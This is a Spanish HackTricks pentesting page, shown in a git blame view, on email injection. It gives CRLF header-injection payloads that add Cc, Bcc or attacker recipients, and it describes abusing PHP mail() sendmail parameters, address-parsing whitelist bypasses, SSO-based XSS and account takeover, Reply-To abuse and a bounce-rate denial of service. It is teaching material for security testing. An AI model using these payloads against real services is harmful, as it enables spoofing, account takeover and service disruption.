hacktricks/pentesting-web/email-injections.md

167 lines
9.2 KiB
Markdown
Raw Normal View History

# Inyecciones de Correo Electrónico
2023-06-05 18:33:24 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtén Acceso Hoy:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta ser un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
## Inyectar en correo enviado
2023-06-05 18:33:24 +00:00
### Inyectar Cc y Bcc después del argumento del remitente
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
El mensaje será enviado a las cuentas del destinatario y destinatario1.
### Inyectar argumento
2023-06-05 18:33:24 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
El mensaje será enviado tanto al destinatario original como a la cuenta del atacante.
2023-06-05 18:33:24 +00:00
### Inyectar argumento Subject
2023-06-05 18:33:24 +00:00
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### Cambiar el cuerpo del mensaje
Inyecta un salto de dos líneas, luego escribe tu mensaje para cambiar el cuerpo del mensaje.
2023-06-05 18:33:24 +00:00
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Explotación de la función mail() de PHP
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2023-06-05 18:33:24 +00:00
}
```
#### El 5º parámetro ($additional_parameters)
2023-06-05 18:33:24 +00:00
Esta sección se basará en **cómo abusar de este parámetro suponiendo que un atacante lo controla**.
2023-06-05 18:33:24 +00:00
Este parámetro se agregará a la línea de comandos que PHP usará para invocar el binario sendmail. Sin embargo, será saneado con la función `escapeshellcmd($additional_parameters)`.
2023-06-05 18:33:24 +00:00
Un atacante puede **inyectar parámetros adicionales para sendmail** en este caso.
#### Diferencias en la implementación de /usr/sbin/sendmail
La interfaz **sendmail** es **proporcionada por el software de correo electrónico MTA** (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la **funcionalidad básica** (como los parámetros -t -i -f) permanece **igual** por razones de compatibilidad, **otras funciones y parámetros** varían mucho dependiendo del MTA instalado.
2023-06-05 18:33:24 +00:00
Aquí hay algunos ejemplos de diferentes páginas de manual del comando/interfaz sendmail:
2023-06-05 18:33:24 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Dependiendo del **origen del binario sendmail** se han descubierto diferentes opciones para abusar de ellos y **filtrar archivos o incluso ejecutar comandos arbitrarios**. Consulta cómo en [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2023-06-05 18:33:24 +00:00
## Inyectar en el nombre del correo electrónico
### Partes ignoradas de un correo electrónico
Los símbolos: **+, -** y **{}** en raras ocasiones pueden usarse para etiquetar y ser ignorados por la mayoría de los servidores de correo electrónico
2023-06-05 18:33:24 +00:00
* Ej. john.doe+intigriti@example.com → john.doe@example.com
2023-06-05 18:33:24 +00:00
**Comentarios entre paréntesis ()** al principio o al final también serán ignorados
2023-06-05 18:33:24 +00:00
* Ej. john.doe(intigriti)@example.com → john.doe@example.com
2023-06-05 18:33:24 +00:00
### Bypass de lista blanca
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
### Comillas
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
### IPs
También puedes usar IPs como nombres de dominio entre corchetes:
2023-06-05 18:33:24 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Otras vulnerabilidades
![](<../.gitbook/assets/image (296).png>)
## SSO de terceros
### XSS
Algunos servicios como **github** o **salesforce permiten** crear una **dirección de correo electrónico con cargas útiles XSS**. Si puedes **usar estos proveedores para iniciar sesión en otros servicios** y estos servicios **no están saneando** correctamente el correo electrónico, podrías causar **XSS**.
2023-06-05 18:33:24 +00:00
### Toma de control de cuenta
2023-06-05 18:33:24 +00:00
Si un **servicio SSO** te permite **crear una cuenta sin verificar la dirección de correo electrónico proporcionada** (como **salesforce**) y luego puedes usar esa cuenta para **iniciar sesión en un servicio diferente** que **confía** en salesforce, podrías acceder a cualquier cuenta.\
_Nota que salesforce indica si el correo electrónico proporcionado fue verificado o no, por lo que la aplicación debería tener en cuenta esta información._
2023-06-05 18:33:24 +00:00
## Reply-To
2023-06-05 18:33:24 +00:00
Puedes enviar un correo electrónico usando _**From: company.com**_ y _**Reply-To: attacker.com**_ y si se envía alguna **respuesta automática** debido a que el correo electrónico fue enviado **desde** una **dirección interna**, el **atacante** podría **recibir** esa **respuesta**.
2023-06-05 18:33:24 +00:00
## Tasa de rebote duro
Algunas aplicaciones como AWS tienen una **Tasa de rebote duro** (en AWS es del 10%), que cuando se sobrecarga el servicio de correo electrónico se bloquea.
2023-06-05 18:33:24 +00:00
Un **rebote duro** es un **correo electrónico** que no pudo ser entregado por algunas razones permanentes. Tal vez la **dirección de correo electrónico** sea falsa, tal vez el dominio del **correo electrónico** no sea un dominio real, o tal vez el servidor del destinatario del **correo electrónico** no acepte **correos electrónicos**), eso significa que de un total de 1000 correos electrónicos si 100 de ellos eran falsos o inválidos y causaron que todos rebotaran, **AWS SES** bloqueará tu servicio.
2023-06-05 18:33:24 +00:00
Entonces, si puedes **enviar correos (quizás invitaciones) desde la aplicación web a cualquier dirección de correo electrónico, podrías provocar este bloqueo enviando cientos de invitaciones a usuarios y dominios inexistentes: DoS del servicio de correo electrónico.**
2023-06-05 18:33:24 +00:00
## Referencias
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
2023-06-05 18:33:24 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\
Obtén acceso hoy:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}